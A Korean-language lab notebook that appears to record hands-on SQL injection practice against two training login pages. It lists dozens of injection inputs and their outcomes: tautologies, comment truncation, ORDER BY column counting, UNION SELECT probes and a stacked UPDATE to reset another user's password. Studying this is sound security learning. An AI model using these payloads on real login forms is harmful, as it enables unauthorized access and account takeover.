Login Bypass 3
- id: doldol pw: dol1234 -> login.php에서 index.php로 302 -> 서버측에서 웹페이지 이동시켜준다
- id: doldol’ and ‘1’ = ‘1 pw: dol1234 -> O -> sql injection 가능하다 -> query에서 괄호가 안 쓰였어
- id: doldol’ or ‘1’ = ‘1 pw: dol1234 -> X -> or 필터링이 되어 있는 걸까요?
- id: doldolor pw: dol1234 -> X -> ‘or’ 필터링 X
- id: doldol or pw: dol1234 -> X -> ‘ or’ 필터링 X
- id: doldol or pw: dol1234 -> X -> ‘ or ‘ 필터링 X
- id: doldolor ‘1’ = ‘1 pw: dol1234 -> X -> “or ‘1’ = ‘1” 필터링 X
- id: doldol’or’1’=’1 pw: dol1234 -> X -> 띄어쓰기 관련도 아닌가봐요
- id: doldol’and’1’=’1 pw: dol1234 -> O -> or이랑 관련이 있는 건데…
- id: doldol’or’1’=’1’# pw: dol1234 -> X
- id: doldol’# pw: dol1234 -> O
- id: doldol’# pw: asdf -> X -> 식별, 인증 분리 or 줄을 새로 넘겼거나
- id: doldol’ order by 1 # pw: dol1234 -> O
- id: doldol’ order by 1, 2 # pw: dol1234 -> O
- id: doldol’ order by 1, 2, 3 # pw: dol1234 -> X -> column은 ID, PW 두 개만 있네요
- id: doldol’ union select 1, 2 # pw: dol1234 -> O -> union은 안 막혀있네요 -> 근데 data를 볼 수 있는 곳이 없잖아요
- id: doldol’ union select database(), 2 # pw: dol1234 -> O
- id: doldol pw: dol1234’and’1’=’1 -> X -> if input_pw == DB[‘pw’]: 통과 17. UPDATE sqli_1 SET UserId = ‘normaltic3’, Password = ‘asdf’ where UserId = ‘normaltic3’; -> table name을 몰라 -> 비밀번호를 바꿀 수 없어
Login Bypass 4
- id: doldol pw: dol1234
-> login.php과 logout.php에서 302 응답 코드가 보인다. -> 다른 페이지로 이동시켜준다는 뜻
- id: doldol’ and ‘1’ = ‘1 pw: dol1234
-> sql injection 가능하다 -> 괄호 X
- id: doldol’# pw: dol1234
-> 주석 처리 가능
- id: doldol’# pw: asdf -> X -> 줄바꿈을 했거나 -> 식별과 인증을 분리했거나
- id: doldol’ or ‘1’ = ‘1 pw: asdf -> 식별과 인증을 분리했네 -> normaltic4의 비밀번호를 바꾸거나 -> update: table과 column 이름 필요 update [table] set [col1] = val1, … where condition; -> normaltic4의 비밀번호를 확인하거나 -> union: 모든 결과값을 확인할 수 있어야 함 -> 여기도 column이 name일까?
- id: doldol’ and name = ‘doldol’ # pw: dol1234
-> column이 name이네? -> 그러면 column 개수도 똑같나?
- id: doldol’ order by 1, 2, 3, 4, 5, 6 # pw: dol1234 -> X
- id: doldol’ order by 1, 2 # pw: dol1234
- id: doldol’ order by 1, 2, 3 # pw: dol1234 -> X -> column 개수가 3개네 -> 그러면 딱 id랑 pw만 있네
- id: doldol’ and Password = ‘dol1234 pw: dol1234 -> x
- id: doldol’ and pass = ‘dol1234 pw: dol1234 -> x
- id: doldol|normaltic4 pw: dol1234 -> X -> 정규식에서 |가 or을 의미한다고 해서 해봤는데 안되네
- id: doldol’ union select 1, 2’ # pw: dol1234
-> 데이터를 볼 수가 없네
- 알고 있는 정보를 정리해 보자
- 식별, 인증 분리 로직
- column은 2개 -> id, pw
- doldol/dol1234, normaltic4/? select * from table where id = id if db_pw = input_pw: 통과
- id: doldol’ and UserId = ‘doldol’ # pw: dol1234 -> x
- id: doldol’ and userId = ‘doldol’ # pw: dol1234 -> x
- id: doldol’ and userid = ‘doldol’ # pw: dol1234 -> x
- id: doldol’ and id = ‘doldol’ # pw: dol1234
- id: doldol’ or id = ‘normaltic4’ # pw: dol1234
-> id는 normaltic4, pw는 doldol꺼 차용해서 로그인할 수 있을 줄 알았는데 doldol씨네 -> 순서 차이?
- id: normaltic4’ or id = ‘doldol’ # pw: dol1234
-> id랑 pw가 같은 계정으로 로그인되나봐 select * from table where id = id if db_pw = input_pw: 통과한 아이디로 로그인
- id: normaltic4’ pw: ‘ or ‘1’ = ‘1 -> x -> 역시나 안 되고
- id: doldol pw: dol1234’ and pw = ‘dol1234’ # -> X
- id: doldol’ and pw = ‘dol1234’ # pw: dol1234 -> x
- id: doldol’ and pass = ‘dol1234’ # pw: dol1234 -> x
- id: doldol’ and UserPass = ‘dol1234’ # pw: dol1234 -> x -> pw, passwd, password, pass, hash
- select * from table where id = id; update table set pw = ‘1234’ where id = ‘normaltic4’ # if db_pw = input_pw: 통과
-> union 값을 넣어줄 장소를 마련해줄 수는 없을까?